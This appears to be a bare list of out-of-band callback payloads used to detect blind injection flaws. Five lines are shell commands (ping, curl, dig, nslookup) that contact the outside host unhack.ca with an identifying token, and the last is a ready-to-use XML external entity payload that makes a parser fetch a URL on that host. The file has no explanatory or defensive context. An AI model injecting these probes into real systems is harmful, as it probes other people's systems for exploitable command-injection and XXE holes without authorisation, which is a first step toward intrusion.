$ ping -c1 -p 001fa7fbeeb870f7063cc3d213642c00 unhack.ca
$ curl http://unhack.ca/p/1fa7fbeeb870f7063cc3d213642c
$ dig 1fa7fbeeb870f7063cc3d213642c @unhack.ca
$ dig 1fa7fbeeb870f7063cc3d213642c.ns.unhack.ca
C:\> nslookup 1fa7fbeeb870f7063cc3d213642c unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/1fa7fbeeb870f7063cc3d213642c">]> <foo>&xxe;</foo>